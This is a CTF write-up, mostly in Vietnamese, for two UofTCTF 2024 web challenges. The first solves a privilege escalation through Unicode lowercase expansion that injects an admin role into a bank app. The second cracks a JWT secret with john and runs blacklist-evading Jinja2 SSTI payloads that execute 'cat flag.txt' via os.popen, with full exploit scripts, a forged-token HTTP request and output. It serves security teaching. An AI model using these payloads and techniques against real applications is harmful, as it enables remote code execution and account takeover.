UofTCTF 2024 - webx2 (hard)

4 minute read

WEB challs

Jay’s Bank - 499 point

Description

My bank is still in pre-alpha-alpha-alpha stage, but I'm sure it's secure enough to keep all of your information safe.

Author: SteakEnthusiast

http://34.123.200.191/

source code here

Solution

Giao diện trang web cung cấp như sau:

Alt text

Vì challenge này cung cấp source code nên ta sẽ thực hiện review source trước.

Trong CTF/uoftctf/jays-bank/routes/index.js Đọc đoạn code sau có thể thấy để có thể lấy được FLAG ta cần một tài khoản với role:admin

Alt text

Nhưng mặc định, khi người dùng thực hiện update profile sẽ add thêm một role:user

Alt text

Kiểm tra trong database

Alt text

Phân tích một chút trong hàm router.put("/profile", jwtAuth, async (req, res) trong index.js Lỗ hổng trong thử thách này xuất phát từ vị trí này

Alt text

app thực hiện lấy các thông tin username, phone, credit_card, secret_question, secret_answer và add thêm một role:user. Trong đó gọi tới hai hàm updateData để cập nhật data user vào database

Alt text

và hàm convert nhận vào một đối tượng (object) o và trả về một chuỗi JSON được tạo ra từ các cặp khóa-giá trị của đối tượng đó

  convert(o) {
    return `{${Object.entries(o).map(([k, v]) => 
      `"${k}": ${typeof v === "object" && v !== null ? convert(v) : `"${v}"`}`
    ).join(", ")}}`.toLowerCase();
  }

Cuối cùng hàm thực hiện chuyển kết quả json về dạng LowerCase() trả về một khối data và update data này cho user trong database.

Trong file init.sql định nghĩa độ dài tối đa cho trường data này là 255.

Alt text

Ý tưởng khai thác:

  • Các trường secret_answerrole: "user" được insert gần nhau, trong đó trường secret_answer có khả năng kiểm soát. Để khai thác thành công, chúng ta cần chèn một chuỗi secret_answer đủ dài vừa đủ để chèn được role mới và xóa bỏ role:user cũ , từ đó ghi đè lên một trường role khác với giá trị là admin.

  • Trước đó, secret_answersecret_question cũng phải vượt qua các điều kiện check sao cho không vượt quá 45 ký tự bằng cách sử dụng các ký tự Unicode đặc biệt như İ có thể làm tăng kích thước khi đi qua hàm toLowerCase()

Có một số ký tự đặc biệt trong JavaScript

Đối với toUpperCase():
Các ký tự “ı” và “ſ” được toUpperCase xử lý và kết quả là “I” và “S”

Đối với toLowerCase():
Ký tự “K” được toLowerCase xử lý và kết quả là “k” (K này không phải là K)

Script

import requests

url = "http://127.0.0.1:3000/"

session = requests.session()

session.post(url + 'register', json={"password": "Abc@123!@#", "username": "abc9092909078"})

session.post(url + 'login', json={"username":"abc9092909078","password":"Abc@123!@#"})

session.put(url + 'profile', json={"phone":"1234567890","credit_card":"1234567890987654","secret_question":"İİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİ","secret_answer":"İİİİİİİİİİİİİİİİİİİİİİİİ\",\"role\":\"admin\"}","current_password":"Abc@123!@#"})

res = session.get(url + 'dashboard')

print(res.text)

Result:

|_>kali: python 1.py

<!DOCTYPE html>
<html>
<head>
    <title>Dashboard - Jay's Bank</title>
    <link rel="stylesheet" href="/css/dashboard.css">
</head>
<body>
    <div class="container">
        <nav>
            <ul>
                <li><a href="/">Home</a></li>
                <li><a href="/profile">Edit Profile</a></li>
                <li><a href="/logout">Logout</a></li>
            </ul>
        </nav>
        <h1>Welcome, abc9092909078</h1>
        <p>Your phone number: 1234567890</p>
        <p>Your credit card (last 4 digits): 7654</p>
        
            <p>Since you're the admin, here is your flag: uoftctf{fake_flag}</p>
        
    </div>
</body>
</html>

My First App - 494 point

Description

I'm not much of a web developer, so my friends advised me to pay for a very expensive firewall to keep my first app secure from pesky hackers. Come check it out!

Author: SteakEnthusiast

https://uoftctf-my-first-app.chals.io/

Solution

Jinja2 SSTI in jwt token

image

Create user

image

Thử chèn payload ngay từ khi tạo người dùng

image

Using join để creak jwt tìm secret key

└─$ john john --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (HMAC-SHA256 [password is key, SHA256 512/512 AVX512BW 16x])
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
torontobluejays  (?)     
1g 0:00:00:00 DONE (2024-01-18 22:54) 4.166g/s 13107Kp/s 13107Kc/s 13107KC/s totohot1..tomaatti1
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Sử dụng secret key chèn một một payload mới {{3*3}}

image

Result

image

Tuy nhiên, blacklist khá chặt nhưng vẫn có thể sử dụng được các request và string để crete payload.

Thử sử dụng request để gọi một tham số từ parameter {{request|attr(request.headers.c)}}

image

Bị block.

Tra tài liệu về flask request để tìm một số subclass khác.

https://tedboy.github.io/flask/generated/generated/flask.Request.html

image

nhận thấy một số subclass như authorization, pragma, referrer… không bị block

Lấy một payload gốc tại đây: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md

ví dụ: {{lipsum.__globals__["os"].popen('id').read()}}

tạo một payload sử dụng request để gọi data từ http header về xử lý

{{lipsum|attr(request.referrer.split().pop(0))|attr(request.referrer.split().pop(1))(request.referrer.split().pop(2))|attr(request.referrer.split().pop(3))(request.referrer.split().pop(4))|attr(request.referrer.split().pop(5))()}}

chèn payload vào thẻ referrer hoặc pragma, …

Referer: __globals__ __getitem__ os popen cat<flag.txt read 

image

flag: uoftctf{That_firewall_salesperson_scammed_me_:(}

một cách khác sử dụng nối chuỗi: {{()|attr((request|string).17~(request|string).18}}

Tham khảo writeup:

from @steakenthusiast

{{(((((((2 | attr((request | attr(request.referrer)).get((request.mimetype | attr(request.pragma))(0)))) |attr((request | attr(request.referrer)).get(request.referrer | attr(request.pragma)(0)))() | attr(request.pragma)(1) | attr((request | attr(request.referrer)).get((request.mimetype | attr(request.pragma))(1)))() | attr(request.pragma)(239) | attr((request | attr(request.referrer)).get((request.mimetype | attr(request.pragma))(2))) | attr((request | attr(request.referrer)).get((request.mimetype | attr(request.pragma))(3)))).get((request | attr(request.referrer)).get((request.mimetype | attr(request.pragma))(4))) | attr((request | attr(request.referrer)).get((request.mimetype | attr(request.pragma))(5))) ).get((request | attr(request.referrer)).get((request.mimetype | attr(request.pragma))(6))) | attr((request | attr(request.referrer)).get((request.mimetype | attr(request.pragma))(7)))))((request | attr(request.referrer)).get((request.mimetype | attr(request.pragma))(8)))) | attr((request | attr(request.referrer)).get((request.mimetype | attr(request.pragma))(9))))()}}

GET /dashboard HTTP/1.1
Host: 127.0.0.1:1337
Cookie: auth_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Int7KCgoKCgoKDIgfCBhdHRyKChyZXF1ZXN0IHwgYXR0cihyZXF1ZXN0LnJlZmVycmVyKSkuZ2V0KChyZXF1ZXN0Lm1pbWV0eXBlIHwgYXR0cihyZXF1ZXN0LnByYWdtYSkpKDApKSkpIHxhdHRyKChyZXF1ZXN0IHwgYXR0cihyZXF1ZXN0LnJlZmVycmVyKSkuZ2V0KHJlcXVlc3QucmVmZXJyZXIgfCBhdHRyKHJlcXVlc3QucHJhZ21hKSgwKSkpKCkgfCBhdHRyKHJlcXVlc3QucHJhZ21hKSgxKSB8IGF0dHIoKHJlcXVlc3QgfCBhdHRyKHJlcXVlc3QucmVmZXJyZXIpKS5nZXQoKHJlcXVlc3QubWltZXR5cGUgfCBhdHRyKHJlcXVlc3QucHJhZ21hKSkoMSkpKSgpIHwgYXR0cihyZXF1ZXN0LnByYWdtYSkoMjM5KSB8IGF0dHIoKHJlcXVlc3QgfCBhdHRyKHJlcXVlc3QucmVmZXJyZXIpKS5nZXQoKHJlcXVlc3QubWltZXR5cGUgfCBhdHRyKHJlcXVlc3QucHJhZ21hKSkoMikpKSB8IGF0dHIoKHJlcXVlc3QgfCBhdHRyKHJlcXVlc3QucmVmZXJyZXIpKS5nZXQoKHJlcXVlc3QubWltZXR5cGUgfCBhdHRyKHJlcXVlc3QucHJhZ21hKSkoMykpKSkuZ2V0KChyZXF1ZXN0IHwgYXR0cihyZXF1ZXN0LnJlZmVycmVyKSkuZ2V0KChyZXF1ZXN0Lm1pbWV0eXBlIHwgYXR0cihyZXF1ZXN0LnByYWdtYSkpKDQpKSkgfCBhdHRyKChyZXF1ZXN0IHwgYXR0cihyZXF1ZXN0LnJlZmVycmVyKSkuZ2V0KChyZXF1ZXN0Lm1pbWV0eXBlIHwgYXR0cihyZXF1ZXN0LnByYWdtYSkpKDUpKSkgKS5nZXQoKHJlcXVlc3QgfCBhdHRyKHJlcXVlc3QucmVmZXJyZXIpKS5nZXQoKHJlcXVlc3QubWltZXR5cGUgfCBhdHRyKHJlcXVlc3QucHJhZ21hKSkoNikpKSB8IGF0dHIoKHJlcXVlc3QgfCBhdHRyKHJlcXVlc3QucmVmZXJyZXIpKS5nZXQoKHJlcXVlc3QubWltZXR5cGUgfCBhdHRyKHJlcXVlc3QucHJhZ21hKSkoNykpKSkpKChyZXF1ZXN0IHwgYXR0cihyZXF1ZXN0LnJlZmVycmVyKSkuZ2V0KChyZXF1ZXN0Lm1pbWV0eXBlIHwgYXR0cihyZXF1ZXN0LnByYWdtYSkpKDgpKSkpIHwgYXR0cigocmVxdWVzdCB8IGF0dHIocmVxdWVzdC5yZWZlcnJlcikpLmdldCgocmVxdWVzdC5taW1ldHlwZSB8IGF0dHIocmVxdWVzdC5wcmFnbWEpKSg5KSkpKSgpfX0ifQ.WOuqHapUXNcwWl7qGvleiDJkpoBUwSCMggc3wUGbIps
Pragma: __getitem__
Content-Type: 0123456789
Referer: headers
h: mro
0: __class__
1: __subclasses__
2: __init__
3: __globals__
4: sys
5: modules
6: os
7: popen
8: cat flag.txt
9: read
Content-Length: 0

from spencerpogo

import requests
import sys
import json
from base64 import b64encode, urlsafe_b64encode
import hmac

from lxml import html

header = b"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9"
jwt_secret = b"torontobluejays"


def jwt_b64e(data: bytes) -> bytes:
    return urlsafe_b64encode(data).rstrip(b"=")


def gen_jwt(payload):
    payload_enc = json.dumps(payload).encode()
    payload_b64 = jwt_b64e(payload_enc)
    msg = header + b"." + payload_b64
    sig = jwt_b64e(hmac.digest(jwt_secret, msg, "sha256"))
    return (msg + b"." + sig).decode()


def test_payload(payload):
    jwt = gen_jwt({"username": payload})
    r = requests.get(
        "https://uoftctf-my-first-app.chals.io/dashboard",
        cookies={"auth_token": jwt},
        headers={
            "Referer":"__globals__",
            "Content-Type":"__getitem__",
            "Authorization": "Basic " + b64encode(b"popen:cat flag.txt").decode(),
        }
    )
    r.raise_for_status()
    root = html.fromstring(r.content)
    container = root.xpath("//div[@class='form-container']")[0]
    print("\n".join(l.strip() for l in container.text_content().strip().split("\n")))
    print()
    print(html.tostring(container).decode())


def gen_payload():
    #templ = f"request.mimetype|string"
    r_globals = "(lipsum|attr(request.referrer))"
    os_str = f"{r_globals}|batch(7)|min|batch(4)|max|min|string"
    os_module = f"({r_globals}|attr(request.mimetype))({os_str})"
    templ = f"({os_module}|attr(request.authorization.username))(request.authorization.password).read()|string"
    return "{{" + templ + "}}"


if __name__ == "__main__":
    payload = gen_payload()
    print(json.dumps(payload))
    print()
    test_payload(payload)

Comments